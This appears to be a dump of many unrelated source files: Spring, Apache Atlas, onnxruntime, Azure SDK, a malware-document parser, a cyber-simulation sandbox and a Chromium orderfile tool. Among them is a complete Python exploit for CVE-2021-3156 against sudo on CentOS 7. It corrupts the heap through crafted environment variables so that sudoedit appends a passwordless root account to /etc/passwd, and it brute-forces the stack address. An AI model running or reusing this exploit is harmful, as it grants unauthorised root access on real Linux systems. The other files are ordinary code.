* {@code @RecordApplicationEvents} is a class-level annotation that is used to
* instruct the <em>Spring TestContext Framework</em> to record all
* {@linkplain org.springframework.context.ApplicationEvent application events}
* that are published in the {@link org.springframework.context.ApplicationContext
* ApplicationContext} during the execution of a single test.
*
* <p>The recorded events can be accessed via the {@link ApplicationEvents} API
* within your tests.
*
* <p>This annotation may be used as a <em>meta-annotation</em> to create custom
* <em>composed annotations</em>.
*
* @author <NAME>
* @since 5.3.3
* @see ApplicationEvents
* @see ApplicationEventsTestExecutionListener
*/
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
public @interface RecordApplicationEvents {
}
| 494 |
532 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function, unicode_literals, division, absolute_import
from builtins import (bytes, dict, int, list, object, range, str, # noqa
ascii, chr, hex, input, next, oct, open, pow, round, super, filter, map, zip)
from future import standard_library
standard_library.install_aliases() # noqa: Counter, OrderedDict,
from gensim.models import KeyedVectors
class W2V(object):
w2v = None
def __init__(self, path='/data/Google'):
pass
| 190 |
665 | <filename>testing/MLDB-538_route_deadlock.py<gh_stars>100-1000
#
# MLDB-538_route_deadlock.py
# mldb.ai inc, 2015
# this file is part of mldb. copyright 2015 mldb.ai inc. all rights reserved.
#
from mldb import mldb
# surprisingly enough, this works: a python script calling a python script !
result = mldb.post("/v1/types/plugins/python/routes/run", {"source":'''
from mldb import mldb
print(mldb.perform("POST", "/v1/types/plugins/python/routes/run", [], {"source":"print(1)"}))
'''})
# we create a plugin which declares 2 routes: /deadlock calls /deadlock2
result = mldb.put("/v1/plugins/deadlocker", {
"type": "python",
"params":{
"source":{
"routes":
"""
from mldb import mldb
mldb.log("got request " + request.verb + " " + request.remaining)
rp = request
if str(rp.verb) == "GET" and str(rp.remaining) == "/deadlock":
rval = mldb.perform("GET", "/v1/plugins/deadlocker/routes/deadlock2", [], {})
request.set_return(rval)
else:
request.set_return("phew")
"""}}})
# we call /deadlock, and we must not deadlock...
result = mldb.get("/v1/plugins/deadlocker/routes/deadlock")
request.set_return("success")
| 461 |
1,248 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.atlas.model.discovery;
import com.fasterxml.jackson.annotation.JsonAutoDetect;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import org.apache.atlas.model.instance.AtlasEntityHeader;
import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.lang.StringUtils;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlRootElement;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import static com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility.NONE;
import static com.fasterxml.jackson.annotation.JsonAutoDetect.Visibility.PUBLIC_ONLY;
@JsonAutoDetect(getterVisibility = PUBLIC_ONLY, setterVisibility = PUBLIC_ONLY, fieldVisibility = NONE)
@JsonSerialize(include = JsonSerialize.Inclusion.NON_NULL)
@JsonIgnoreProperties(ignoreUnknown = true)
public class AtlasSearchResult implements Serializable {
private AtlasQueryType queryType;
private SearchParameters searchParameters;
private String queryText;
private String type;
private String classification;
private List<AtlasEntityHeader> entities;
private AttributeSearchResult attributes;
private List<AtlasFullTextResult> fullTextResult;
private Map<String, AtlasEntityHeader> referredEntities;
private long approximateCount = -1;
private String nextMarker;
public AtlasSearchResult() {}
public AtlasSearchResult(AtlasQueryType queryType) {
this(null, queryType);
}
public AtlasSearchResult(String queryText, AtlasQueryType queryType) {
setQueryText(queryText);
setQueryType(queryType);
setSearchParameters(null);
setEntities(null);
setAttributes(null);
setFullTextResult(null);
setReferredEntities(null);
}
public AtlasSearchResult(SearchParameters searchParameters) {
setQueryType(AtlasQueryType.BASIC);
if (searchParameters != null) {
setQueryText(searchParameters.getQuery());
setSearchParameters(searchParameters);
setEntities(null);
setAttributes(null);
setFullTextResult(null);
setReferredEntities(null);
}
}
public AtlasQueryType getQueryType() { return queryType; }
public void setQueryType(AtlasQueryType queryType) { this.queryType = queryType; }
public SearchParameters getSearchParameters() {
return searchParameters;
}
public void setSearchParameters(SearchParameters searchParameters) {
this.searchParameters = searchParameters;
}
public String getQueryText() { return queryText; }
public void setQueryText(String queryText) { this.queryText = queryText; }
public String getType() { return type; }
public void setType(String type) { this.type = type; }
public String getClassification() { return classification; }
public void setClassification(String classification) { this.classification = classification; }
public List<AtlasEntityHeader> getEntities() { return entities; }
public void setEntities(List<AtlasEntityHeader> entities) { this.entities = entities; }
public AttributeSearchResult getAttributes() { return attributes; }
public void setAttributes(AttributeSearchResult attributes) { this.attributes = attributes; }
public List<AtlasFullTextResult> getFullTextResult() { return fullTextResult; }
public void setFullTextResult(List<AtlasFullTextResult> fullTextResult) { this.fullTextResult = fullTextResult; }
public Map<String, AtlasEntityHeader> getReferredEntities() {
return referredEntities;
}
public void setReferredEntities(Map<String, AtlasEntityHeader> referredEntities) {
this.referredEntities = referredEntities;
}
public long getApproximateCount() { return approximateCount; }
public void setApproximateCount(long approximateCount) { this.approximateCount = approximateCount; }
public String getNextMarker() { return nextMarker; }
public void setNextMarker(String nextMarker) { this.nextMarker = nextMarker; }
@Override
public int hashCode() { return Objects.hash(queryType, searchParameters, queryText, type, classification, entities, attributes, fullTextResult, referredEntities, nextMarker); }
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
AtlasSearchResult that = (AtlasSearchResult) o;
return Objects.equals(queryType, that.queryType) &&
Objects.equals(searchParameters, that.searchParameters) &&
Objects.equals(queryText, that.queryText) &&
Objects.equals(type, that.type) &&
Objects.equals(classification, that.classification) &&
Objects.equals(entities, that.entities) &&
Objects.equals(attributes, that.attributes) &&
Objects.equals(fullTextResult, that.fullTextResult) &&
Objects.equals(referredEntities, that.referredEntities) &&
Objects.equals(nextMarker, that.nextMarker);
}
public void addEntity(AtlasEntityHeader newEntity) {
if (entities == null) {
entities = new ArrayList<>();
}
if (entities.isEmpty()) {
entities.add(newEntity);
} else {
removeEntity(newEntity);
entities.add(newEntity);
}
}
public void removeEntity(AtlasEntityHeader entity) {
List<AtlasEntityHeader> entities = this.entities;
if (CollectionUtils.isNotEmpty(entities)) {
Iterator<AtlasEntityHeader> iter = entities.iterator();
while (iter.hasNext()) {
AtlasEntityHeader currEntity = iter.next();
if (StringUtils.equals(currEntity.getGuid(), entity.getGuid())) {
iter.remove();
}
}
}
}
@Override
public String toString() {
return "AtlasSearchResult{" +
"queryType=" + queryType +
", searchParameters='" + searchParameters + '\'' +
", queryText='" + queryText + '\'' +
", type=" + type +
", classification=" + classification +
", entities=" + entities +
", attributes=" + attributes +
", fullTextResult=" + fullTextResult +
", referredEntities=" + referredEntities +
", approximateCount=" + approximateCount +
", nextMarker=" + nextMarker +
'}';
}
public enum AtlasQueryType { DSL, FULL_TEXT, GREMLIN, BASIC, ATTRIBUTE, RELATIONSHIP }
@JsonAutoDetect(getterVisibility = PUBLIC_ONLY, setterVisibility = PUBLIC_ONLY, fieldVisibility = NONE)
@JsonSerialize(include = JsonSerialize.Inclusion.NON_NULL)
@JsonIgnoreProperties(ignoreUnknown = true)
@XmlRootElement
@XmlAccessorType(XmlAccessType.PROPERTY)
public static class AttributeSearchResult {
private List<String> name;
private List<List<Object>> values;
public AttributeSearchResult() { }
public AttributeSearchResult(List<String> name, List<List<Object>> values) {
this.name = name;
this.values = values;
}
public List<String> getName() { return name; }
public void setName(List<String> name) { this.name = name; }
public List<List<Object>> getValues() { return values; }
public void setValues(List<List<Object>> values) { this.values = values; }
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
AttributeSearchResult that = (AttributeSearchResult) o;
return Objects.equals(name, that.name) &&
Objects.equals(values, that.values);
}
@Override
public int hashCode() { return Objects.hash(name, values); }
@Override
public String toString() {
return "AttributeSearchResult{" +
"name=" + name + ", " +
"values=" + values +
'}';
}
}
@JsonAutoDetect(getterVisibility = PUBLIC_ONLY, setterVisibility = PUBLIC_ONLY, fieldVisibility = NONE)
@JsonSerialize(include = JsonSerialize.Inclusion.NON_NULL)
@JsonIgnoreProperties(ignoreUnknown = true)
@XmlRootElement
@XmlAccessorType(XmlAccessType.PROPERTY)
public static class AtlasFullTextResult {
AtlasEntityHeader entity;
Double score;
public AtlasFullTextResult() {}
public AtlasFullTextResult(AtlasEntityHeader entity, Double score) {
this.entity = entity;
this.score = score;
}
public AtlasEntityHeader getEntity() { return entity; }
public void setEntity(AtlasEntityHeader entity) { this.entity = entity; }
public Double getScore() { return score; }
public void setScore(Double score) { this.score = score; }
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
AtlasFullTextResult that = (AtlasFullTextResult) o;
return Objects.equals(entity, that.entity) &&
Objects.equals(score, that.score);
}
@Override
public int hashCode() { return Objects.hash(entity, score); }
@Override
public String toString() {
return "AtlasFullTextResult{" +
"entity=" + entity +
", score=" + score +
'}';
}
}
}
| 4,316 |
6,036 | <filename>orttraining/orttraining/training_ops/cpu/nn/pool_gradient_op.h
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#pragma once
#include "core/framework/op_kernel.h"
namespace onnxruntime {
namespace contrib {
std::vector<std::vector<int64_t>> InferOutputShapes(OpKernelInfo info);
template <typename T>
class MaxPoolGrad final : public OpKernel {
public:
explicit MaxPoolGrad(const OpKernelInfo& info) : OpKernel(info) {
output_tensor_shapes_ = InferOutputShapes(info);
ORT_ENFORCE(!output_tensor_shapes_[0].empty());
}
Status Compute(OpKernelContext* context) const override;
private:
ORT_DISALLOW_COPY_ASSIGNMENT_AND_MOVE(MaxPoolGrad);
std::vector<VectorInt64> output_tensor_shapes_;
};
template <typename T>
class AveragePoolGrad final : public OpKernel {
public:
explicit AveragePoolGrad(const OpKernelInfo& info) : OpKernel(info) {
output_tensor_shapes_ = InferOutputShapes(info);
ORT_ENFORCE(!output_tensor_shapes_[0].empty());
ORT_ENFORCE(info.GetAttrs<int64_t>("kernel_shape", kernel_shape_).IsOK(),
"No kernel shape is set.");
if (!info.GetAttrs<int64_t>("strides", strides_).IsOK() || strides_.empty()) {
strides_.resize(kernel_shape_.size(), 1);
}
if (!info.GetAttrs<int64_t>("pads", pads_).IsOK() || pads_.empty()) {
pads_.resize(2 * kernel_shape_.size(), 0);
}
int64_t temp;
ORT_ENFORCE(info.GetAttr<int64_t>("count_include_pad", &temp).IsOK());
count_include_pad_ = (temp != 0);
ORT_ENFORCE(strides_.size() == kernel_shape_.size());
ORT_ENFORCE(pads_.size() == 2 * kernel_shape_.size());
ORT_ENFORCE(output_tensor_shapes_[0].size() == kernel_shape_.size() + 2);
}
Status Compute(OpKernelContext* context) const override;
private:
ORT_DISALLOW_COPY_ASSIGNMENT_AND_MOVE(AveragePoolGrad);
std::vector<VectorInt64> output_tensor_shapes_;
std::vector<int64_t> kernel_shape_;
std::vector<int64_t> strides_;
std::vector<int64_t> pads_;
bool count_include_pad_{};
Status Compute1DAveragePoolGrad(OpKernelContext* context) const;
Status Compute3DAveragePoolGrad(OpKernelContext* context) const;
Status Compute2DAveragePoolGrad(OpKernelContext* context) const;
};
} // namespace contrib
} // namespace onnxruntime
| 882 |
1,350 | <filename>sdk/core/azure-core/src/main/java/com/azure/core/util/AsyncCloseable.java
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.core.util;
import reactor.core.publisher.Mono;
/**
* Interface for close operations that are asynchronous.
*
* <p><strong>Asynchronously closing a class</strong></p>
* <p>In the snippet below, we have a long-lived {@code NetworkResource} class. There are some operations such
* as closing {@literal I/O}. Instead of returning a sync {@code close()}, we use {@code closeAsync()} so users'
* programs don't block waiting for this operation to complete.</p>
*
* <!-- src_embed com.azure.core.util.AsyncCloseable.closeAsync -->
* <pre>
* NetworkResource resource = new NetworkResource();
* resource.longRunningDownload("https://longdownload.com")
* .subscribe(
* byteBuffer -> System.out.println("Buffer received: " + byteBuffer),
* error -> System.err.printf("Error occurred while downloading: %s%n", error),
* () -> System.out.println("Completed download operation."));
*
* System.out.println("Press enter to stop downloading.");
* System.in.read();
*
* // We block here because it is the end of the main Program function. A real-life program may chain this
* // with some other close operations like save download/program state, etc.
* resource.closeAsync().block();
* </pre>
* <!-- end com.azure.core.util.AsyncCloseable.closeAsync -->
*/
public interface AsyncCloseable {
/**
* Begins the close operation. If one is in progress, will return that existing close operation. If the close
* operation is unsuccessful, the Mono completes with an error.
*
* @return A Mono representing the close operation. If the close operation is unsuccessful, the Mono completes with
* an error.
*/
Mono<Void> closeAsync();
}
| 711 |
473 | <reponame>marcostolosa/CVE-2021-3156
#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on CentOS 7 by sleepya
Simplified version of exploit_userspec.py for easy understanding.
- Remove all checking code
- Fixed all offset (no auto finding)
Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration
Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
'''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for spraying
epage = [
'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding
# cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding
# privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))
env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
| 2,834 |
14,668 | /*
* Copyright 2021 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Support for the PowerPoint (.ppt) binary format.
//
// Implements parts relevant to extraction of VBA code of the [MS-PPT] file
// format, as documented at:
// https://msdn.microsoft.com/en-us/library/cc313106(v=office.12).aspx
#ifndef MALDOCA_OLE_PPT_H_
#define MALDOCA_OLE_PPT_H_
#include <vector>
#include "absl/status/status.h"
#include "absl/strings/string_view.h"
#include "maldoca/base/statusor.h"
namespace maldoca {
// Parser for the PowerPoint RecordHeader structure. This header is found at the
// beginning of each container record and each atom record of a PPT document and
// is expected to be 8 bytes long.
//
// Reference:
// https://msdn.microsoft.com/en-us/library/dd926377%28v=office.12%29.aspx
//
// Sample usage:
//
// RecordHeader h;
// CHECK_OK(h.Parse(ppt_stream));
class RecordHeader {
public:
// Values for the "Type" field of the RecordHeader structure.
//
// Reference:
// https://msdn.microsoft.com/en-us/library/dd945336(v=office.12).aspx
enum RecordHeaderType {
kExternalOleObjectStg = 0x1011, // VBAProjectStorage*Atom
};
static constexpr size_t SizeOf() { return 8; }
// Parses a RecordHeader structure.
absl::Status Parse(absl::string_view input);
RecordHeader() = default;
// Getters
uint8_t Version() const { return version_; }
uint16_t Instance() const { return instance_; }
uint16_t Type() const { return type_; }
uint32_t Length() const { return length_; }
private:
// RecordHeader fields, see the RecordHeader documentation for meaning
uint8_t version_;
uint16_t instance_;
uint16_t type_;
uint32_t length_;
};
// Parser for the VbaProjectStgUncompressedAtom and VbaProjectStgCompressedAtom
// structures. These structures start with a RecordHeader and their payload is a
// VBA Project stored as structured storage (OLE).
//
// References:
// https://msdn.microsoft.com/en-us/library/dd952169(v=office.12).aspx
// https://msdn.microsoft.com/en-us/library/dd943342(v=office.12).aspx
class VBAProjectStorage {
public:
// Byte pattern identifing VbaProjectStgUncompressedAtom, a RecordHeader with:
// .recVer = 0x0
// .revInstance = 0x000
// .recType = 0x1011 (RT_ExternalOleObjectStg)
static const absl::string_view UncompressedHeaderPattern() {
static const absl::string_view pattern("\x00\x00\x11\x10", 4);
return pattern;
}
// Byte pattern identifing VbaProjectStgCompressedAtom, a RecordHeader with:
// .recVer = 0x0
// .revInstance = 0x001
// .recType = 0x1011 (RT_ExternalOleObjectStg)
static const absl::string_view CompressedHeaderPattern() {
static const absl::string_view pattern("\x10\x00\x11\x10", 4);
return pattern;
}
// Returns a string containing the content of the VBA Project Storage,
// decompressing it if compressed content is specified in the RecordHeader.
//
static StatusOr<std::string> ExtractContent(absl::string_view storage);
// Checks that the VBA Project Storage content has the expected CDF header.
static absl::Status IsContentValid(absl::string_view content);
private:
// Values for the "Instance" field of the VBAProjectStorage*Atom RecordHeader.
// See: https://msdn.microsoft.com/en-us/library/dd908115(v=office.12).aspx
enum RecordHeaderInstance {
kUncompressed = 0x000,
kCompressed = 0x001,
};
// Value of the "Version" field of the VBAProjectStorage*Atom RecordHeader.
static constexpr uint8_t kRecordHeaderVersion = 0x00;
// Header of the VBA Project Storage content, which is the start of a CDF
// file.
static const absl::string_view CDFHeader() {
static const absl::string_view header{"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"};
return header;
}
// Parses a compressed VBA Project Storage.
// Reference:
// https://msdn.microsoft.com/en-us/library/dd943342(v=office.12).aspx
static StatusOr<std::string> ExtractCompressedContent(
absl::string_view prj_storage);
// Returns the zlib decompressed content of the compressed VBA project
// storage. The compression algorithm used is the DEFLATE standard. Uses the
// decompressed size to allocate a big enough buffer. Does not check if the
// actual decompressed content matches.
static StatusOr<std::string> Decompress(absl::string_view compressed_storage,
size_t decompressed_size);
VBAProjectStorage() = delete;
~VBAProjectStorage() = delete;
VBAProjectStorage(const VBAProjectStorage&) = delete;
VBAProjectStorage& operator=(const VBAProjectStorage&) = delete;
};
// Extracts VBA projects from the PowerPoint Document stream. The VBA projects
// are stored as OLE files. Returns an empty vector if no VBA projects were
// found.
StatusOr<std::vector<std::string>> PPT97ExtractVBAStorage(
absl::string_view ppt_stream);
} // namespace maldoca
#endif // MALDOCA_OLE_PPT_H_
| 1,772 |
310 | package org.seasar.doma.internal.apt.processor.domain;
import java.math.BigDecimal;
import org.seasar.doma.Domain;
@Domain(valueType = Override.class)
public class UnsupportedValueTypeDomain {
private final BigDecimal value;
public UnsupportedValueTypeDomain(BigDecimal value) {
this.value = value;
}
public BigDecimal getValue() {
return value;
}
}
| 122 |
1,459 | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
"""A simple test sandbox to play with creation of simulation environments"""
import networkx as nx
import yaml
from cyberbattle.simulation import model, model_test, actions_test
def main() -> None:
"""Simple environment sandbox"""
# Create a toy graph
graph = nx.DiGraph()
graph.add_edges_from([('a', 'b'), ('b', 'c')])
print(graph)
# create a random graph
graph = nx.cubical_graph()
graph = model.assign_random_labels(graph)
vulnerabilities = actions_test.SAMPLE_VULNERABILITIES
model.setup_yaml_serializer()
# Define an environment from this graph
env = model.Environment(
network=graph,
vulnerability_library=vulnerabilities,
identifiers=actions_test.ENV_IDENTIFIERS
)
model_test.check_reserializing(env)
model_test.check_reserializing(vulnerabilities)
# Save the environment to file as Yaml
with open('./simpleenv.yaml', 'w') as file:
yaml.dump(env, file)
print(yaml.dump(env))
if __name__ == '__main__':
main()
| 399 |
335 | {
"word": "Coil",
"definitions": [
"Arrange (something long and flexible) in a coil.",
"Move or twist into the shape of a coil."
],
"parts-of-speech": "Verb"
} | 83 |
14,668 | <filename>tools/cygprofile/compare_orderfiles.py
#!/usr/bin/env vpython
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Compares two orderfiles, from filenames or a commit.
This shows some statistics about two orderfiles, possibly extracted from an
updating commit made by the orderfile bot.
"""
from __future__ import print_function
import argparse
import collections
import logging
import os
import subprocess
import sys
def ParseOrderfile(filename):
"""Parses an orderfile into a list of symbols.
Args:
filename: (str) Path to the orderfile.
Returns:
[str] List of symbols.
"""
symbols = []
lines = []
already_seen = set()
with open(filename, 'r') as f:
lines = [line.strip() for line in f]
# The (new) orderfiles that are oriented at the LLD linker contain only symbol
# names (i.e. not prefixed with '.text'). The (old) orderfiles aimed at the
# Gold linker were patched by duplicating symbols prefixed with '.text.hot.',
# '.text.unlikely.' and '.text.', hence the appearance of '.text' on the first
# symbol indicates such a legacy orderfile.
if not lines[0].startswith('.text.'):
for entry in lines:
symbol_name = entry.rstrip('\n')
assert symbol_name != '*' and symbol_name != '.text'
already_seen.add(symbol_name)
symbols.append(symbol_name)
else:
for entry in lines:
# Keep only (input) section names, not symbol names (only rare special
# symbols contain '.'). We could only keep symbols, but then some even
# older orderfiles would not be parsed.
if '.' not in entry:
continue
# Example: .text.startup.BLA
symbol_name = entry[entry.rindex('.'):]
if symbol_name in already_seen or symbol_name == '*' or entry == '.text':
continue
already_seen.add(symbol_name)
symbols.append(symbol_name)
return symbols
def CommonSymbolsToOrder(symbols, common_symbols):
"""Returns s -> index for all s in common_symbols."""
result = {}
index = 0
for s in symbols:
if s not in common_symbols:
continue
result[s] = index
index += 1
return result
CompareResult = collections.namedtuple(
'CompareResult', ('first_count', 'second_count',
'new_count', 'removed_count',
'average_fractional_distance'))
def Compare(first_filename, second_filename):
"""Outputs a comparison of two orderfiles to stdout.
Args:
first_filename: (str) First orderfile.
second_filename: (str) Second orderfile.
Returns:
An instance of CompareResult.
"""
first_symbols = ParseOrderfile(first_filename)
second_symbols = ParseOrderfile(second_filename)
print('Symbols count:\n\tfirst:\t%d\n\tsecond:\t%d' % (len(first_symbols),
len(second_symbols)))
first_symbols = set(first_symbols)
second_symbols = set(second_symbols)
new_symbols = second_symbols - first_symbols
removed_symbols = first_symbols - second_symbols
common_symbols = first_symbols & second_symbols
# Distance between orderfiles.
first_to_ordering = CommonSymbolsToOrder(first_symbols, common_symbols)
second_to_ordering = CommonSymbolsToOrder(second_symbols, common_symbols)
total_distance = sum(abs(first_to_ordering[s] - second_to_ordering[s])\
for s in first_to_ordering)
# Each distance is in [0, len(common_symbols)] and there are
# len(common_symbols) entries, hence the normalization.
average_fractional_distance = float(total_distance) / (len(common_symbols)**2)
print('New symbols = %d' % len(new_symbols))
print('Removed symbols = %d' % len(removed_symbols))
print('Average fractional distance = %.2f%%' %
(100. * average_fractional_distance))
return CompareResult(len(first_symbols), len(second_symbols),
len(new_symbols), len(removed_symbols),
average_fractional_distance)
def CheckOrderfileCommit(commit_hash, clank_path):
"""Asserts that a commit is an orderfile update from the bot.
Args:
commit_hash: (str) Git hash of the orderfile roll commit.
clank_path: (str) Path to the clank repository.
"""
output = subprocess.check_output(['git', 'show', r'--format=%s', commit_hash],
cwd=clank_path)
first_line = output.split('\n')[0]
# Capitalization changed at some point. Not checking the bot name because it
# changed too.
assert first_line.upper().endswith(
'Update Orderfile.'.upper()), ('Not an orderfile commit')
def GetBeforeAfterOrderfileHashes(commit_hash, clank_path):
"""Downloads the orderfiles before and afer an orderfile roll.
Args:
commit_hash: (str) Git hash of the orderfile roll commit.
clank_path: (str) Path to the clank repository.
Returns:
(str, str) Path to the before and after commit orderfiles.
"""
orderfile_hash_relative_path = 'orderfiles/orderfile.arm.out.sha1'
before_output = subprocess.check_output(
['git', 'show', '%s^:%s' % (commit_hash, orderfile_hash_relative_path)],
cwd=clank_path)
before_hash = before_output.split('\n')[0]
